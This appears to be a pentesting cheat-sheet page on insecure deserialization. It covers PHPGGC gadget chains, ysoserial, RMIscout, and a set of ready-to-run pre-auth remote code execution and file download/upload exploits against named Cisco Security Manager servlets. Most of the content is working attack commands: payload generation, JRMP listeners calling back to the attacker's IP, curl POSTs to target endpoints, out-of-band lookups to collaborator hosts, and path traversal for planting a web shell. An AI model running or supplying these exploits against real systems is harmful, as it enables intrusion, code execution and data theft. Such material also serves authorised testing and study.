(De)Serialization
PHPggc
Vulnerable block of code:
1
<?php
2
$data = unserialize($_GET['data']);
3
print $data['message'];
Copied!
GitHub - ambionics/phpggc: PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
GitHub
1
$ ./phpggc -l
2
3
Gadget Chains
4
-------------
5
6
NAME VERSION TYPE VECTOR I
7
CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
8
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct
9
Doctrine/FW1 ? File write __toString *
10
Drupal7/FD1 7.0 < ? File delete __destruct *
11
Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct *
12
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
13
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
14
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
15
Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct *
16
Laminas/FD1 <= 2.11.2 File delete __destruct
17
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
18
Laravel/RCE2 5.5.39 RCE (Function call) __destruct
19
Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
20
Laravel/RCE4 5.5.39 RCE (Function call) __destruct
21
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
22
Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
23
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
24
Magento/FW1 ? <= 1.9.4.0 File write __destruct *
25
Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct
26
Monolog/RCE1 1.18 <= 2.1.1+ RCE (Function call) __destruct
27
Monolog/RCE2 1.5 <= 2.1.1+ RCE (Function call) __destruct
28
Monolog/RCE3 1.1.0 <= 1.10.0 RCE (Function call) __destruct
29
Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct *
30
Phalcon/RCE1 <= 1.2.2 RCE __wakeup *
31
PHPCSFixer/FD1 <= 2.17.3 File delete __destruct
32
PHPCSFixer/FD2 <= 2.17.3 File delete __destruct
33
PHPExcel/FD1 1.8.2+ File delete __destruct
34
PHPExcel/FD2 <= 1.8.1 File delete __destruct
35
PHPExcel/FD3 1.8.2+ File delete __destruct
36
PHPExcel/FD4 <= 1.8.1 File delete __destruct
37
Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString
38
Slim/RCE1 3.8.1 RCE (Function call) __toString
39
Smarty/FD1 ? File delete __destruct
40
Smarty/SSRF1 ? SSRF __destruct *
41
SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct
42
SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString
43
SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString
44
SwiftMailer/FW3 5.0.1 File write __toString
45
SwiftMailer/FW4 4.0.0 <= ? File write __destruct
46
Symfony/FW1 2.5.2 File write DebugImport *
47
Symfony/FW2 3.4 File write __destruct
48
Symfony/RCE1 3.3 RCE (Command) __destruct *
49
Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct *
50
Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct *
51
Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct *
52
Symfony/RCE5 5.2.* RCE (Function call) __destruct
53
TCPDF/FD1 <= 6.3.5 File delete __destruct *
54
ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct *
55
WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct *
56
WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct *
57
WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString *
58
WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct *
59
WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct *
60
WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct *
61
WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct *
62
WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct *
63
WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct *
64
WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString *
65
WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString *
66
WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
67
WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
68
WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct *
69
WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct *
70
Yii/RCE1 1.1.20 RCE (Function call) __wakeup *
71
Yii2/RCE1 <2.0.38 RCE (Function call) __destruct *
72
Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct *
73
ZendFramework/FD1 ? <= 1.12.20 File delete __destruct
74
ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct *
75
ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString *
76
ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct
77
ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct *
Copied!
PayloadsAllTheThings/PHP.md at master · swisskyrepo/PayloadsAllTheThings
GitHub
Exploiting PHP deserialization
Medium
PHP Object Injection | OWASP Foundation
https://notsosecure.com/remote-code-execution-via-php-unserialize/
notsosecure.com
Nmap rmi script
1
nmap --script rmi*
Copied!
JSON
1
{"__type":"a"}
2
{"__type1":"a"}
3
{"__type":"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", "InnerXml":"<!DOCTYPE stuff SYSTEM 'http://gqaxjsf76ajzgrxlvj9chh21ksqje8.burpcollaborator.net'><stuff>here</stuff>"}
Copied!
ysoserial gadgets
1
https://github.com/frohoff/ysoserial
2
3
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
4
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
5
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
6
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
7
...
8
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
9
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
10
0000570: 0078 7071 007e 003a .xpq.~.:
11
12
$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
13
$ nc 10.10.10.10 1099 < groovypayload.bin
14
15
$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
16
Copied!
RMIscout
1
https://github.com/BishopFox/rmiscout
2
3
./rmiscout.sh wordlist -i lists/prototypes.txt localhost 11099
4
java -jar rmiscout.jar wordlist -h
5
6
examples:
7
# Perform wordlist-attack against remote RMI service using wordlist of function prototypes
8
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
9
10
# Bruteforce using method wordlist and other options
11
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>
12
13
# Swap object-derived types with the specified ysoserial payload and payload parameter
14
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
15
16
# Use GadgetProbe and a known signature to bruteforce classes on the remote classpath
17
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>
18
19
java -jar rmiscout-1.03-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt 10.27.4.12 9050 --activation-server
20
java -jar rmiscout-1.03-SNAPSHOT-all.jar bruteforce -i lists/methods.txt -r void,String -p String,Object -l 1,2 10.27.4.12 9050 --activation-server
21
java -jar rmiscout-1.03-SNAPSHOT-all.jar exploit -s 'String echoString(String x)' -p ysoserial.payloads.Groovy1 -c "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050 --activation-server
22
java -jar rmiscout-1.03-SNAPSHOT-all.jar probe -s 'String echo(java.lang.Object qwewqe)' -i maven_popular.list -d "nslookup aiwjstf21seieezd11yr6ymgl7rzfo.burpcollaborator.net" -n RMIInterface 10.27.4.12 9050
23
24
maven_popular.list:
25
https://raw.githubusercontent.com/BishopFox/GadgetProbe/master/wordlists/maven_popular.list
Copied!
Java RMI for pentesters part two — reconnaissance & attack against non-JMX registries
Medium
Attacking Java RMI services after JEP 290
MOGWAI LABS GmbH web site
Deserialization CISCO devices
Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.
Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.
Requirement: Download commons-beanutils-1.6.1.jar from central maven repository.
Remote Code Execution SecretService.jsp :-)
java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutilscurl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jspRemote Code Execution CsJaasServiceServlet
Compile JaasEncryptor.java and replace the b64Payload content:
1
import java.security.InvalidKeyException;
2
import java.util.Base64;
3
import com.cisco.nm.cmf.security.jaas.BlobCrypt;
4
5
public class JaasEncryptor {
6
7
public static void main(String args[]) {
8
String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";
9
10
byte[] payload = Base64.getDecoder().decode(b64Payload);
11
byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
12
13
byte[] enc = BlobCrypt.encryptArray(payload, key);
14
System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
15
byte[] dec = BlobCrypt.decryptArray(enc, key);
16
}
17
}
Copied!
Prepare JRMP Listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:443' | base64 -w0Compile encrypted payload:
javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptorSend payload to Servlet with parameters cmd=data + new line + data=[ENCRYPTED_PAYLOAD].
Remote Code Execution AuthTokenServlet
Prepare JRMP Listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:1337' > payload_JRMP1_2Send request:
curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServletRemote Code Execution ClientServicesServlet
Prepare JRMP listener:
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_3Send request:
curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServletRemote Code Execution CTMServlet
java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2curl -i -s -k -X #x27;POST' -H #x27;Content-Type: application/octet-stream' -H #x27;CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi' -H #x27;CTM-VERSION: 1.5' -H #x27;CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/' -H #x27;Cache-Control: no-cache' -H #x27;Pragma: no-cache' -H #x27;User-Agent: Java/1.8.0_222' -H #x27;Host: [TARGET_IP]' -H #x27;Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' -H #x27;Connection: keep-alive' --data-binary "@payload_CommonsBeanutils1_2" #x27;https://[TARGET_IP]/athena/CTMServlet'Arbitrary File Download XdmConfigRequestHandler
GET /athena/xdmProxy/xdmConfig[RELATIVE_PATH_TO_FILE]Arbitrary File Download XdmResourceRequestHandler
GET /athena/xdmProxy/xdmResources[RELATIVE_PATH_TO_FILE]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDeltaArbitrary File Upload XmpFileUploadServlet
Write a web shell e.g.
POST /cwhp/XmpFileUploadServlet?maxFileSize=100Normal multi-part e.g. writing web shell in filename with ../../MDC/tomcat/webapps/cwhp/testme.jsp.
Arbitrary File Download XmpFileDownloadServlet
GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[RELATIVE_PATH_TO_DIRECTORY]&readmeText=1This will respond with a ZIP file containing all files from the directory.
Arbitrary File Download SampleFileDownloadServlet
GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[RELATIVE_PATH_TO_DIRECTORY]This will respond with a ZIP file containing all files from the directory.
Arbitrary File Download resultsFrame.jsp
GET /athena/itf/resultsFrame.jsp?filename=[RELATIVE_PATH_TO_FILE]Remote Code Execution SecretServiceServlet
java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_2curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet
Tools
Last modified 1yr ago
Copy link
Contents
PHPggc
Nmap rmi script
JSON
ysoserial gadgets
RMIscout
Deserialization CISCO devices
Remote Code Execution SecretService.jsp :-)
Remote Code Execution CsJaasServiceServlet
Remote Code Execution AuthTokenServlet
Remote Code Execution ClientServicesServlet
Remote Code Execution CTMServlet
Arbitrary File Download XdmConfigRequestHandler
Arbitrary File Download XdmResourceRequestHandler
Arbitrary File Upload XmpFileUploadServlet
Arbitrary File Download XmpFileDownloadServlet
Arbitrary File Download SampleFileDownloadServlet
Arbitrary File Download resultsFrame.jsp
Remote Code Execution SecretServiceServlet
Tools